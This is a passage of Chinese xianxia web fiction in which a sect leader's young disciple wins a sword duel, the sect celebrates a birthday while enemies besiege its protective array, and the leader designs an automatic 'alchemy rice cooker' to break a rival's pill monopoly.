云见月对他的狂吠置若罔闻,只是轻轻抬手,撤销了压在他身上的威压。 她平静地看向江迷雾:“剑心所指,一往无前,去吧。” 江迷雾小脸肃然,拔出凝霜剑,剑身寒光流转,发出一声清越的嗡鸣,仿佛在回应主人的战意。 他摆出一个最基础的起手式,眼神死死锁定郁明轩,如同盯住猎物的幼狼,一股虽微弱却无比精纯带着初生锋芒的剑气,在他周身隐隐凝聚。 “找死!”郁明轩狞笑着祭出本命剑,筑基中期的灵力狂暴涌出,剑招连绵不绝,如狂风暴雨般劈向江迷雾,招招狠毒,皆奔着要害而去。 江迷雾却不与他硬拼,他身形灵动躲闪,在密集的剑气中穿梭。 郁明轩剑招一变,化为连绵不绝的狂风骤雨,剑光织成一片网,笼罩向江迷雾。 一时间,江迷雾完全落于下风。 剑锋几次擦着他的身体掠过,留下浅浅的血痕,衣袍也被凌厉的剑气割裂。 但他眼中的火焰非但没有熄灭,反而越烧越旺。 一股难以言喻的力量,正在觉醒,过往对着木桩千万次枯燥挥剑的积累,在这一刻化作了肌肉最本能的记忆,和对剑最纯粹的理解,冲破了体能的极限,随着对决时间的延长,他仿佛渐入佳境,终于找到了实战的感觉。 在一旁观战的云见月,眼底浮现笑意,她敏锐地捕捉到江迷雾剑招中那一丝逐渐凝聚,仿佛要破茧而出的独特锋芒。 天生剑骨,果然名不虚传。 这些日子以来,阿雾的努力她看在眼里,他欠缺的只是一个机会。 如今,她将这个机会亲手送到他面前。 她的小剑修在这一刻萌芽,并以惊人的速度茁壮成长,未来定能长成参天大树。 就在郁明轩一剑劈来,逼得江迷雾踉跄后退的绝命瞬间,江迷雾眼中精光爆射,如同黑暗中点燃的星辰。 他没有选择后退卸力,反而做出了一个让所有人心跳骤停的动作。 他不退反进,整个人化作一道疾掠的残影,速度之快,竟在空气中拉出一道尖啸。 凝练到极致的剑光,无视了郁明轩劈来的剑气,无视了自身的防御,带着一种洞穿一切的决绝,精准无比地刺穿郁明轩的丹田。 快! 准! 狠! 这一剑,没有任何花哨的技巧,只有江迷雾全部的生命力、意志力与守护信念的燃烧,它超越了筑基初期的极限,带着一种震撼人心的锋芒。 郁明轩难以置信地低头看着从自己小腹刺入、透体而出的剑尖,鲜血瞬间染红了他的衣襟。 他手中的剑“当啷”一声掉落在地,发出清脆的响声,在这寂静的山门前格外刺耳。 江迷雾猛地拔出剑,温热而粘稠的鲜血喷溅在他的脸上和身上,他却只是死死盯着郁明轩,眼中没有丝毫动摇,只有为师姐报仇的坚定。 虞青焰一直慵懒的姿态微微改变,他漂亮得惊人的桃花眼中,第一次掠过一丝毫不掩饰的欣赏。 随即又看向场中那道稳如泰山白衣胜雪的身影,她从始至终都没有一刻质疑徒弟的实力,给予对方满满的信任与支持。 她很会引导孩子,是迄今为止他见过最会教导徒弟的女子。 徒弟的成功,离不开她的托举。 她看起来那么淡定,可却又那么耀眼。 ...... 郁仙看着小师弟,眼中充满了感激和骄傲,泪水在眼眶里打转。 鹿闻声和萧星尘更是激动地握紧了拳头,差点欢呼出声。 苏渺渺从师兄怀里探出小脑袋,乌溜溜的大眼睛崇拜地看着江迷雾,“四师兄好厉害。” 云见月缓步走到江迷雾身边,小小少年紧绷的身体如同拉满的弓,还在微微颤抖。 她轻轻拍了拍他紧绷的肩膀,毫不吝啬的夸赞道:“此剑,甚好。快如惊鸿,准若星落,狠似雷霆。 此剑,当得起剑鸣惊风,为师愿叫它一剑定乾坤。” 江迷雾身体一震。 剑鸣惊风,一剑定乾坤? 听着那至高无上的评价,一股难以言喻的热流涌遍全身。 他握剑的手,更加稳了,用力地点了点头,眼中光芒更盛。 一切尘埃落定,云见月袍袖一挥,一股无形的灵力如同巨手,卷起地上奄奄一息的郁姝和丹田破裂修为尽散的郁明轩,如同丢垃圾一般,将他们远远地抛出了玄天宗的地界,重重摔在一片泥泞的洼地里。 “滚回药仙谷,告诉你们的父亲,今日只是收些许利息,他日若再敢犯我玄天宗地界,伤我弟子分毫,本尊必亲临药仙谷,踏平你郁家祖祠,断你药仙谷千年传承。” 泥泞中,重伤濒死、意识模糊的郁姝无法动弹。 郁明轩在泥泞中挣扎着,用尽最后的力量,颤抖着沾满血污的手指,艰难地捏碎了一枚刻着药仙谷紧急印记的传讯玉简。 一道微弱的灵光,破空而去,消失在远方。 半个时辰后。 数道散发着强大气息的身影,裹挟着滔天的怒火和焦急,如同流星般划破天际,降临在玄天宗外围那片泥泞的洼地旁。 药仙谷谷主郁长林,谷主夫人柳静怡,以及脸色阴沉如水的青云剑宗少宗主楚凌风。 当他们看清洼地中的景象时,郁长林如遭雷击,身体剧震。 “轩儿,姝儿。” 柳静怡眼前一黑,发出一声短促的悲鸣,身体软软向后倒去,被身旁眼疾手快的郁长林扶住。 楚凌风的目光死死钉在郁姝身上,那遍布全身深可见骨的血窟窿,那被彻底摧毁的丹田,那如同被凌虐至死的凄惨模样,令他英俊的脸庞瞬间扭曲,一股狂暴到极点的杀意从他身上爆发开来。 “云!见!月!此仇不报,我楚凌风誓不为人!” 第42章 一边吃生日蛋糕,一边看药仙谷耍猴 眼下最重要的就是救治郁明轩和郁姝。 郁长林颤抖着从储物袋中取出一个古朴的玉盒,盒盖开启的瞬间,浓郁的药香弥漫开来,嗅上一口,便令人精神大振。 一枚龙眼大小、布满玄奥丹纹流转着温润光泽的丹药静静躺在盒中。 这正是药仙谷的镇谷之宝,能生死人肉白骨的天阶极品大还丹。 服下此丹,伤势便能瞬间好转,可郁长林的脸上一片纠结之色,因为这枚无价之宝,他仅此一枚。 他的目光在两张惨白的脸孔间来回移动。 一边是他寄予厚望、血脉相连的亲儿子,另一边,则是从小视如己出、倾注了无数心血的养女。 到底是给亲儿子,还是给养女? 两人之中,郁姝伤的最重,情况只能用惨绝人寰来形容,丹田被废,浑身骨骼尽断,血洞遍布全身,若非被无数天材地宝精心养大,此刻早已死透了。 相比之下,郁明轩那丹田破裂的伤势,竟显得“微不足道”。 柳静怡紧握着郁姝冰冷的手,泪水无声滑落,看向丈夫的眼神充满了挣扎与哀求。 手心手背都是肉,可那枚能起死回生的大还丹,只有一枚。 郁明轩看着从小呵护到大的妹妹气息奄奄的可怜样子,不忍心她就此香消玉殒,心中剧痛压过了对自己前途的绝望。 他声音嘶哑,带着决绝的颤抖:“爹,娘……给姝儿吧。” “可你呢?”郁长林声音发紧,心如刀绞。 儿子是药仙谷未来的希望,若就此断绝仙途,他郁长林这一脉的传承就断了。 “我还年轻……”郁明轩努力挤出一个比哭还难看的笑容,“我相信爹娘,终有一日,定能找到修复我丹田的至宝。” 柳静怡泪如雨下,却终究没再说什么。 郁长林闭了闭眼,狠心将大还丹塞进郁姝口中。 整个过程,一直沉默的楚凌风,眼神幽深如潭。 他宽大的袖袍里,一株通体剔透如冰玉、散发着浓郁生命气息的玄玉参王已被他捏在指尖。 他本已准备拿出这仅次于大还丹的至宝救郁姝。 然而,当郁长林拿出大还丹时,他又收回了手。 他冷眼旁观着这场亲情的权衡,当看到大还丹最终被送入郁姝口中时,他如释重负的收起了玄玉参王。 很好,他的徒弟得救了。 至于郁明轩未来会不会因此断绝仙途,楚凌风才不在乎,郁明轩又不是他的徒弟。 丹药入喉即化,磅礴药力化开,肉眼可见的,郁姝身上狰狞的血窟窿飞速收口愈合,断裂的筋骨重新接续。 不过半刻钟,致命的伤势竟已痊愈,只是失血过多和元气大伤让她的脸色依旧苍白。 郁长林夫妇松了口气,却看着郁明轩黯淡的眼神,心中五味杂陈。 他们不敢再耽搁,立刻带着郁明轩,以最快的速度赶回药仙谷寻求其他医治之法。 夜色渐浓,星子初现。 玄天宗主峰餐厅内,圆形转桌上摆满了云见月精心烹饪的菜肴,香气四溢。 最中间是一个三层高的生日蛋糕,奶油洁白如雪,上面用灵果果酱雕刻着栩栩如生的小动物和五彩缤纷的花朵,最上层写着“仙儿生辰快乐”几个娟秀的字。 云见月满意地看着自己的杰作,正准备招呼孩子们入座。 突然,一声震耳欲聋的怒吼从山门外传来。 “云见月,滚出来受死——” “你若交出郁仙那个孽畜,本君便大发慈悲,给你留个全尸,否则,今日便是你玄天宗的灭门之日。” 云见月敛去笑容,她身形一闪,便出现在玄天宗主峰最高的山巅之上,居高临下地望去,山门外已是人山人海。 药仙谷的绿色道袍和青云剑宗的青色劲装交织在一起,数百名修士手持法器,灵光吞吐,杀气腾腾,将玄天宗山门围得水泄不通。 郁长林、柳静怡、楚凌风立于阵前,磅礴的威压如同三座无形大山,沉沉压向护山大阵的光幕。 虞青焰不知何时走到她身边,看着下方的“盛况”,语气带着一丝玩味:“你这宗主看起来倒是一点也不担心。” “护山大阵是你布的,你都不急,我急什么?”云见月轻笑,“再说,就算阵破了,不还有你吗?” “你就这么信任我?”虞青焰挑眉,语气带着几分戏谑。 “嗯。”云见月淡淡应了一声,连头都没回。 剧情里,这家伙可是男主飞升前的最后一个对手,下域无人能及。 有他在,就是最大的底牌。 谁知虞青焰突然凑近,桃花眼亮晶晶的:“你不会是喜欢我吧?” 云见月:“……” “也对,”他自顾自点头,摸着自己完美无瑕的下颌,叹息般地说道:“以我的容貌,很难不被喜欢,唉,有时候连我自己照镜子,都会忍不住被这无边的魅力所倾倒,着实有些苦恼呢。” 云见月额角青筋微跳,最终翻了一个大大的白眼,彻底被他这过分的自信打败了。 不过,她心中也不得不承认,虞青焰这种自信,因其本身强大到非人的实力和确实无可挑剔的外貌,非但不会显得油腻,反而透着几分可爱。 山门外,郁长林一番慷慨激昂的宣言如同石沉大海,没有得到丝毫回应。 这无视让他怒火中烧,耐心彻底耗尽。 “给我攻!打破这乌龟壳,屠尽玄天宗上下!”郁长林面容扭曲,厉声咆哮。 刹那间,各色法术如同暴雨般砸向护山大阵。 五彩缤纷的光芒在阵壁上碰撞、消散,远远望去,密集爆开的法术光芒,在深邃的夜空下,竟如同盛大节日里不断绽放的烟火,竟有种别样的美感。 云见月看着这“免费烟花”,唇边的笑意非但没有消失,反而加深了,眼中闪烁着狡黠。 注意到她这不怀好意的笑容,虞青焰眉梢一挑,外面那些家伙,怕是要倒霉了。 云见月忽然开口,声音清越,“若是能一边看着‘戏班子’表演,一边享用美食,岂不更加有趣难忘?” 她转身对屋内喊:“孩子们,快出来!” 随着她的呼唤,早已按捺不住好奇的五个小家伙蹦蹦跳跳地跑出来,围拢到云见月身边。 “师尊,是不是开饭啦?渺渺的肚子都饿扁啦!”苏渺渺揉着自己咕咕叫的小肚子。 云见月点头,“今天,为师要给我们的小寿星,过一个终生难忘的生日,走,咱们去山门,边看‘烟火’,边吃蛋糕!” 小家伙们虽然不太明白师尊的用意,但对师尊有着绝对的信任。 他们欢呼着,手拉着手,兴奋地跟在云见月和虞青焰身后,来到了护山大阵前,隔着一层淡蓝色的光罩,与外面的人遥遥相对。 仅仅一光幕之隔,外面是毁天灭地的攻击风暴,喊杀震天;里面是五个天真好奇的孩子和他们气定神闲的师尊与神秘强大的美人哥叔叔。 郁长林见状,一挥手止住攻击,眼中怒火熊熊:“贱人,你终于肯出来受死了!” 楚凌风上前一步,眼神冰冷如刀,“交出郁仙,自废修为,否则,待大阵一破,定叫你玄天宗上下,求生不得,求死不能!” 柳静怡一脸痛心疾首,泪眼朦胧地看着郁仙,“仙儿,你怎么忍心伤害自己的哥哥和姐姐,我们待你不薄,你怎能如此回报?你太让我失望了。” 他们三人轮番谩骂、威胁、控诉,声音穿透光幕,清晰地传入郁仙耳中。 郁仙脸上的笑容有一瞬间僵硬。 云见月察觉到她的情绪,抬手轻轻按在她瘦小的肩膀上,“仙儿,别听。一群跳梁小丑罢了,只当他们是在给我们唱戏助兴。今天是你的生辰,你只需要开心。” 她话音未落,虞青焰修长的手指看似随意地在空中一点。 护山大阵的光幕微不可察地荡漾了一下,外界所有的喧嚣怒骂瞬间被隔绝在外,仿佛按下了静音键。 云见月素手一挥,转桌连同上面丰盛的菜肴和精美的蛋糕,瞬间出现在面前。 孩子们的目光立刻被那散发着诱人甜香的蛋糕吸引。 云见月拉着郁仙的手,让她站在蛋糕前,自己和虞青焰以及孩子们围成一圈。 “祝我们的小寿星,生日快乐!”云见月率先唱起歌,声音清亮。 “祝你生日快乐~祝你生日快乐~祝你生日快乐~~祝你生日快乐!” 孩子们虽然第一次听到这奇怪的调子,但被云见月的快乐感染,也纷纷拍着小手,跟着她的节奏唱起来,清脆稚嫩的童音汇聚成一股奇特的暖流,在山门前回荡。 护山大阵外的人彻底愣住了,见过嚣张的,没见过这么嚣张的。 被几百人围攻,居然还有心情过生日? 郁长林和柳静怡脸上的表情变得极其精彩,愤怒、难堪、羞恼、还有一种被当众打脸的刺痛感。 他们猛然想起,郁仙被认回郁家后,他们似乎从未给她过过一个生辰,甚至记不清她的生辰。 如今看着外人如此珍视她,只觉得脸上火辣辣的疼。 “郁仙!”郁长林怒吼,“你哥哥丹田尽毁,你姐姐重伤垂死,都是拜你所赐,你竟然还有脸在这里过生辰?你的心肠怎能如此歹毒狠辣,你简直畜生不如!” 无论外面的人怎么喊叫,哪怕法术撞击在护山大阵上,里面也不会受到一丝一毫的干扰。 云见月笑容灿烂道:“仙儿,快,闭上眼睛,许个心愿,许完愿,一口气吹灭蜡烛,愿望就会实现哦!” 小小的郁仙看着师尊温暖坚定的眼神,看着身边师兄师弟师妹们鼓励的目光,再看看眼前跳跃着希望的烛火,她缓缓闭上了眼睛,双手合十。 愿:我们能永远幸福快乐的在一起。 阵外的怒骂声、威胁声都成了背景音,她的世界里,只有师尊温柔的眼神、师兄师弟师妹们的笑脸,和蛋糕甜腻的香气。 “呼——” 六根蜡烛同时熄灭,孩子们欢呼起来。 云见月笑着切开蛋糕,将最大的一块递给郁仙:“生日快乐,我的仙儿。” 山门外,郁长林看着阵内温馨的画面,气得浑身发抖。 楚凌风的脸色阴沉得能滴出水来,握着剑柄的手青筋暴起。 护山大阵内,孩子们开心的吃着蛋糕,有说有笑。 护山大阵外,郁长林和楚凌风如同疯狗一样,不停叫嚣,法术不要钱的往护山大阵上砸,却撼动不了分毫。 里面和外面被分割成了两个世界。 云见月一边吃蛋糕,一边指着护山大阵上绚烂的“烟火”道:“快看,是不是很漂亮。” “哇!真的好漂亮,像烟花一样。” “所以,我们就当他们在给咱们放免费烟花了。” 云见月这招,简直杀人诛心。 她们吃着,他们看着。 她们笑的越开心,他们就差被气吐血。 云见月笑眯眯地拿出留影石,将外面“绚烂的烟火”和孩子们开心的笑脸一同记录下来,嘴里还“真诚”地念叨着:“药仙谷和青云剑宗的烟花秀,倒是为仙儿的生辰添了几分热闹,这份贺礼,我们玄天宗记下了。” 记录完,发送到了修真界通识平台。 第43章 跟你在一起,人家没有安全感 “啊啊啊——贱人,欺人太甚!”郁长林状若疯魔。 他从未受过如此奇耻大辱,药仙谷的尊严和威名,都被云见月踩在脚下,反复摩擦。 郁长林指着护山大阵嘶吼:“给我燃烧精血,今日必破此阵,屠尽玄天宗满门。” 话音落下,数百名修士同时掐动法诀,周身腾起血色,他们竟不惜燃烧精血,换取短时间暴涨的灵力。 刹那间,各色法术汇聚成毁灭性的能量洪流,如同奔腾的岩浆,狠狠砸向玄天宗的护山大阵。 “杀——” “破阵,杀光他们!” “轰隆——” 比之前密集猛烈十倍的攻击落在光幕之上,震耳欲聋的轰鸣穿透隔音屏障,护山大阵的淡蓝色光幕剧烈震荡,仿佛下一秒就要不堪重负,彻底碎裂。 沉浸在生日欢乐中的孩子们脸色微变,苏渺渺下意识抓紧了云见月的衣角,“师尊,我害怕……” 云见月安抚道:“别怕,虞叔叔很强,他布置的阵法不是那么容易破的。” 听闻她如此笃定相信的话语,虞青焰终于收起了那副玩世不恭的懒散模样。 他唇角勾起一抹极淡的弧度,目光扫过身边几个紧张的小家伙。 “孩子们,刚才的烟花看腻了,想不想看点更有趣的?” 孩子们一愣,好奇地看向他。 只见虞青焰好整以暇地抬起修长的手指,对着阵眼所在的虚空位置,极其随意地轻轻一点。 下一刻,奇迹发生了。 原本摇摇欲坠的光幕瞬间稳固,甚至绽放出比之前更盛的蓝光。 那些狂暴的能量撞在阵壁上,并未爆开,反而如同泥牛入海,被光幕悄无声息地……吞噬了。 紧接着,玄天宗内部,无数柔和的光点从光幕上飘散下来,如同夏夜的萤火虫般,飘飘洒洒,落在灵田的草木上,宗门内的灵气浓度骤然提升。 “哇!好漂亮啊!”苏渺渺忍不住欢呼,小手伸出去想接住那些光点。 其他四个小家伙也被这梦幻般的景象吸引,之前的紧张一扫而空,发出惊喜的欢呼。 云见月看着这一幕,扬声笑道:“真是多谢诸位道友慷慨解囊,如此热情地送来精纯的灵气,我玄天宗的药园子,正愁最近肥料不够呢,你们实在是太客气了。” 郁长林本就因燃烧精血而气血翻腾,闻听此言急怒攻心,再也压制不住,“噗”地一声,一口滚烫的鲜血狂喷而出。 他颤抖着手指着云见月的方向,“给我……给我加大火力,我就不信破不了阵!” 然而,更让他们崩溃的还在后面。 当新一轮攻击落下时,护山大阵突然光芒一闪,将吸收的能量以原封不动的强度,精准地反弹回去。 “啊——” 惨叫声此起彼伏,猝不及防的修士们被自己的法术击中,阵营瞬间乱成一锅粥,人仰马翻。 一个药仙谷弟子被自己的丹火点燃道袍,在地上打滚哀嚎。 青云剑宗修士的飞剑调头刺穿了自己的肩膀。 刚才还气势汹汹的修士,此刻如同被收割的麦子般成片倒下,哀嚎遍野,场面惨烈至极,真正是搬起石头砸了自己的脚,自食恶果。 “……”玄天宗内,一片寂静。 孩子们瞪大了眼睛,小嘴微张,看着山门外那如同炼狱般的景象,再看看身边依旧云淡风轻、仿佛只是弹走了灰尘的虞青焰,眼中的崇拜瞬间化作了近乎盲目的狂热。 虞叔叔好厉害,简直是神仙下凡。 郁长林和楚凌风等人,面如死灰地看着己方阵营的惨状,终于意识到,这护山大阵的恐怖远超想象,继续攻击只是徒增伤亡。 “撤……撤退!”郁长林咬牙切齿地下令,声音里满是不甘。 楚凌风脸色阴沉得能拧出水,他最后深深看了一眼虞青焰和云见月,那眼神复杂无比,有忌惮,有惊疑,更有一股压抑到极致的疯狂杀意。 他猛地转身,一言不发,身影率先化作流光遁走。 药仙谷和青云剑宗的修士如同斗败的公鸡,拖着伤员,灰溜溜地撤离。 敌人退去,玄天宗归于平静。 “虞叔叔的大阵太厉害了!”苏渺渺举着蛋糕叉子,兴奋地说,“那些坏人被自己的法术打飞,好好笑。” 江迷雾点头:“以后谁再敢来,咱们就让大阵反弹他们。” 云见月看着孩子们雀跃的样子,眼底漾起暖意。 夜深人散,云见月单独留下了郁仙。 月光透过玻璃窗洒在两人身上,云见月轻声问:“仙儿,今天你爹娘说的那些话,你心里难受吗?” 郁仙身体微微一僵,小脑袋靠在云见月怀里,沉默了片刻,才低低地“嗯”了一声,声音带着浓浓的委屈和迷茫:“有时候我会想,为什么他们从来都不喜欢我呢?明明我才是他们的亲生女儿。” 云见月柔声道:“血缘不代表一切。” “玄天宗,才是你真正的家!师尊、师兄、师弟、师妹和虞叔叔,这里的每一个人,才是你真正的家人。 血缘不过是最浅薄的联系,真心相待,患难与共,不离不弃,这才是真正的亲情。 今天你没有退缩,还保护了渺渺,做得很好。 记住,力量不是像药仙谷和青云剑宗那般去欺负人,力量是为了保护想保护的人,守护自己该守护的家。 仙儿,你值得拥有更强大的力量,当你变得足够强大,你会发现周围再也没有恶意,一切都会变得美好。” 郁仙紧紧抱住云见月,“嗯!仙儿记住了!仙儿一定努力变强,保护师尊,保护大家!” 安抚好郁仙,看着她安然睡去,云见月才悄然离开。 月色下,虞青焰独自一人倚在主殿的飞檐上,黑发如瀑,月光勾勒出他修长慵懒的身影。 云见月飞身落在他身边,真诚道:“今晚,多谢你。” 虞青焰侧过头,他眼中那惯常的戏谑轻浮稍稍收敛,多了一丝难得的认真:“我既应了守护玄天宗十年,自当说到做到。” 看着他难得正经的样子,云见月的眼神越发的柔和了。 这家伙虽然嘴欠又自恋,但关键时刻,是真的极其可靠。 “怎么?”虞青焰挑眉,又露出那副欠揍的笑容,“又被我的魅力折服了?” 云见月:“……” 得,感动不过三秒。 这家伙不破坏气氛会死吗? ...... 夜深人静,云见月用留影石记录的内容,已在修真界通识平台炸开了锅。 【哈哈哈哈!笑不活了,药仙谷和青云剑宗联手攻打一个小宗门,结果被当成戏班子耍了。】 【我的天!那是什么护山大阵?也太逆天了吧!不仅能吸收攻击当肥料,还能反弹?玄天宗是从哪里请来的神人布的阵。】 【云宗主威武!带着徒弟过生日看烟花,这心理素质绝了,药仙谷谷主脸都绿了吧?】 【啧啧啧,看看郁谷主和他夫人那副嘴脸,骂自己亲生女儿孽畜?还偏心养女偏到姥姥家了,郁仙小妹妹真可怜,还好有云宗主这么好的师尊。】 【药仙谷和青云剑宗这次真是丢人丢大了,千年声誉,一夜扫地,沦为整个修真界的笑柄。】 负面舆论如潮水般涌向药仙谷和青云剑宗,郁长林看着玉简上的嘲讽,气得砸碎了丹炉:“云见月这个贱人,竟敢算计我们,我药仙谷与你不死不休。” 就在舆论对玄天宗一片同情、对药仙谷和青云剑宗口诛笔伐之时,郁长林发布了一条公告。 “即日起,凡公开声援、支持玄天宗,与玄天宗有交易往来者,皆被我药仙谷永久拉入黑名单,永不售卖任何丹药! 凡公开支持、协助我药仙谷与青云剑宗,共同讨伐玄天宗者,购买我药仙谷丹药,一律半价!并提供优先供应权!” 此消息一出,整个修真界的声音瞬间一百八十度大反转。 丹药,在修真界是修士修炼、疗伤、突破瓶颈不可或缺的命脉。 而药仙谷,作为下域最大的丹药供应商,几乎垄断了下域百分之八十以上的丹药市场。 无数宗门、散修,甚至一些中大型势力,都需要仰仗药仙谷的丹药供给。 “永久拉黑”、“永不售卖”,这意味着什么? 意味着得罪了药仙谷,就等于自绝于丹药之路! 意味着你的弟子受伤无药可治,意味着你宗门天才突破时缺少关键丹药而功亏一篑! “半价丹药”、“优先供应”,这又是何等巨大的诱惑? 足以让许多在道义和现实利益间摇摆的势力,瞬间做出选择! 几乎是在消息发布的同时,风向就骤然逆转了。 之前还在嘲笑药仙谷的声音迅速被压制、淹没。 取而代之的,是铺天盖地的对玄天宗和云见月的指责谩骂甚至构陷。 【哼!玄天宗包藏祸心,云见月纵徒行凶,残害郁家少主和小姐,罪大恶极,我支持药仙谷!】 【药仙谷悬壶济世,泽被苍生,云见月此等阴险小人,利用留影石颠倒黑白,混淆视听,其心可诛!】 【郁仙小小年纪心肠歹毒,废兄伤姐,玄天宗教徒无方,当灭!】 【我等小宗门,全仰仗药仙谷丹药存活,断不敢与之为敌,云宗主,对不住了。】 【为了半价丹药……咳咳,为了修真界的正义,我等必助药仙谷铲除玄天宗毒瘤。】 谩骂之声如潮水般涌向玄天宗。 看着清一色的谩骂,云见月捏着玉简,眼神渐冷。 “呵!我倒是忘了药仙谷还有这一手。” 虞青焰左手拿着镶钻小镜子,右手扒拉着额间碎发,一边臭美,一边慢悠悠道:“哎呀呀,一不小心成了整个修真界的公敌了呢~云宗主,跟你在一起,我这小心脏可真是扑通扑通的,一点安全感都没有。” 云见月白了他一眼,悠悠道:“想要不被拿捏,就得拥有让他们不敢轻视的力量。” 虞青焰侧目:“所以呢?” “所以,”云见月眼底满满的不怀好意,“他不让我好过,我就抢了他的饭碗,不过分吧?” 第44章 全自动炼丹电饭煲横空出世,修真界要变天 药仙谷的“丹药封锁令”,瞬间让玄天宗成为众矢之的。 玉简平台上,对玄天宗的谩骂愈演愈烈。 一些自诩“正义之士”的修士,开始在玄天宗山门外集结。 他们不敢冲击护山大阵,只能举着写有“诛杀云见月,还修真界清明”的木牌子,扯着嗓子高声叫骂: “云见月,滚出修真界!” “支持药仙谷,铲除玄天宗毒瘤!” 甚至有人一边喊口号,一边往护山大阵上扔臭鸡蛋、烂菜叶。 虽然无法造成实质伤害,但这些秽物招来苍蝇嗡嗡乱飞,也造成了些许低级骚扰。 苏渺渺趴在窗边,看着外面扔垃圾的修士,小眉头皱成一团:“他们好讨厌……” 云见月摸了摸她的小脑袋,“看来,我们也不能坐以待毙了,渺渺跟为师去议事厅。” 议事厅大殿。 五个小家伙齐刷刷坐好,眼神里带着担忧。 云见月脸上并无慌乱,反而是一种奇异的平静。 她环视众人,声音清晰地响起:“药仙谷想用丹药卡我们的脖子,那我们就自己造脖子。” “造脖子?”苏渺渺摸了摸自己纤细的脖颈,天真又困惑的问,“师尊,脖子怎么造呀?” 其他孩子也是一脸茫然。 云见月被小徒弟逗笑了,解释道:“不是真的捏个脖子,我是说,他们想用丹药封锁我们,以此威胁其他修士与我们对立,那我们就自己炼丹,他们卖什么丹药,我们就卖什么丹药,但我们的丹药品阶比他们高,药效比他们好,价格比他们便宜。” “药仙谷想垄断,那我们就打破垄断。” 孩子们听不懂什么叫垄断,但还是纷纷点头表示赞同师尊的想法。 “炼丹师呢?”虞青焰不知何时晃了进来,“理想很丰满,现实很骨感,云大宗主,高品阶丹药不是那么好炼制出来的。” 云见月不慌不忙的把郁仙拉到自己身边,“炼丹师在这里。” 众人齐刷刷看向郁仙。 虞青焰摊手:“你看,我就说不靠谱吧。” “你指望她一个小孩子,去对抗药仙谷成千上万的丹师,日夜不停地炼丹也办不到啊。” “当然不能只靠仙儿。”云见月神秘一笑,突然将鹿闻声和苏渺渺拉过来,与郁仙并排站好,“他们三个组合,就能天下无敌。” 虞青焰:“???” 他脸上的表情仿佛在说:我觉得你不仅是在逗我,还侮辱了我的智商。 萧星尘和江迷雾对视一眼,都从对方眼中看到了大大的问号。 师尊这话……听起来怎么那么像忽悠小孩子呢?这次连他们都有点不信了。 虞青焰忍不住招手:“来来来,云大宗主,你告诉我,他们三个小萝卜头该怎么组合,才能抵得过药仙谷那庞大的基数?难道让他们不眠不休地炼?累死也炼不出药仙谷一天的产量。” “当然不是靠他们手动去炼。”云见月眼中闪烁着智慧的光芒,猛地从怀里掏出一卷厚厚的图纸,“啪”的一声拍在旁边的桌子上。 “看!这就是破局的关键,全自动、可调节、控温与保温一体式炼丹电饭煲!” “电饭煲?”所有人都懵了,这个词闻所未闻。 云见月指着图纸,兴奋地解释:“你们看,这是炉体,采用特殊隔热耐火材料,由闻声负责炼制核心部件,内部设置多层阵法嵌套的加热区域,精确控温,这需要虞青焰你的阵法造诣。 这里,是智能投料口和搅拌器,保证受热均匀,最关键的是这个‘保温锁灵’仓,能完美锁住丹药刚出炉时的最佳药性,防止逸散。 只要闻声把它炼制出来,再交给仙儿设定好丹方和火候程序,就能实现全天自动炼丹,无需仙儿时刻盯着火候。” “我呢我呢?”苏渺渺急切地指着自己,大眼睛里满是期待。 “渺渺啊,你可是我们的小福星呢!”云见月笑着摸摸她的头,“你的任务最重要,你要用你全部的、最真诚的心意,去祝福你的二师兄,祝愿他一定能成功炼制出这个‘炼丹电饭煲’。 然后,当你的三师姐用它炼丹时,你也要用最真诚的心去祝福你的三师姐,祝愿她炉炉都是极品丹,丹药一出炉,必定光华璀璨,药效惊人,你的祝福,就是成功率的最大保障。” 虞青焰看着图纸上那前所未见的、融合了炼器、阵法和炼丹理念的古怪“锅”,依旧表示深度怀疑:“你这个……电饭煲?真的能炼丹?这玩意儿听着就不像能炼出正经丹药的样子。” “实践是检验真理的唯一标准。”云见月一把将他拉过来,“差点忘了你这个关键人物。 你是顶级的布阵师,这丹炉上最核心的‘恒温微调阵列’、‘灵力循环锁止阵’都得靠你刻印上去。 你们四个完美配合,绝对天下无敌,分分钟抢占丹药市场,让药仙谷的丹药烂在仓库里。” 云见月描绘的蓝图太过震撼,尽管众人心中疑虑重重,但看着她眼中燃烧的自信火焰,以及那精密得不像话的图纸,一股莫名的、想要见证奇迹的冲动压过了怀疑。 说干就干! 云见月立刻将图纸交给了鹿闻声,并拉着他和虞青焰,在炼器房里对着图纸,详细解释了每一个部件的功能以及核心的控温阵法对接点。 鹿闻声虽然年纪小,但在炼器一道上天赋卓绝,听着听着,紧锁的眉头渐渐舒展,眼中开始闪烁兴奋的光芒。 “师尊,这个结构……好像……真的可以实现,比我想象的要巧妙,但似乎却不是很难。” 云见月表示,你连能御剑飞行的法器都能炼,这个炉体对你来说不难。 苏渺渺搬了个小板凳坐在鹿闻声身边,双手合十,小脸无比认真,用最稚嫩却最真诚的声音大声祝福:“渺渺祝愿二师兄炼制‘炼丹电饭煲’一定成功,顺顺利利,一次成功,做出最棒的全自动丹炉。” 话音刚落,鹿闻声只觉得体内灵力骤然顺畅,原本有些卡顿的炉体塑形,竟一下子变得行云流水。 他惊喜地抬头,正对上苏渺渺亮晶晶的眼睛,顿时干劲十足。 虞青焰眼中闪过一丝惊讶,他敏锐地感知到鹿闻声的状态和苏渺渺祝福之间那玄之又玄的联系。 “言灵祝福?有点意思……”他低声自语。 虞青焰抱着胳膊在一旁监工,等炉体初见雏形,他神色稍敛,指尖勾勒出一道道银色符文,精准地烙印在锅的外壁上,瞬间构成繁复而稳定的恒温微调阵图,符文光华流转,与炉体浑然一体。 一个时辰后,鹿闻声抱着一个“电饭煲”走了出来。 “师尊,是这样吗?”他有点不确定。 云见月一见,惊喜万分,这外观,除了材质不同,简直和她前世记忆里的电饭煲有七八分相似。 “没错,闻声你太棒了,就是这个。”她忍不住拍了拍鹿闻声的肩膀。 “这真的能行?”虞青焰伸手敲了敲炉体,听着沉闷的回声,眉头仍未舒展。 鹿闻声玉佩里的炎老冷哼一声:“以老夫上万年的炼器经验,这绝对不行,绝对!” “行不行,让仙儿一试便知。”云见月信心满满,她立刻将“全自动炼丹电饭煲”交给郁仙,并详细告诉她操作步骤。 郁仙抱着既紧张又好奇的心情,带着这个怪模怪样的“炼丹炉”,在苏渺渺“祝愿三师姐炉炉极品丹”的祝福声中,走进了炼丹房。 郁仙深吸一口气,按照师尊传授的方法,小心翼翼地将处理好的药材投入‘投料口’,再加入灵石给予能量,又在炉体侧面的几个控制节点上设定了预设的炼制程序。 又是一个时辰过去。 “轰——” 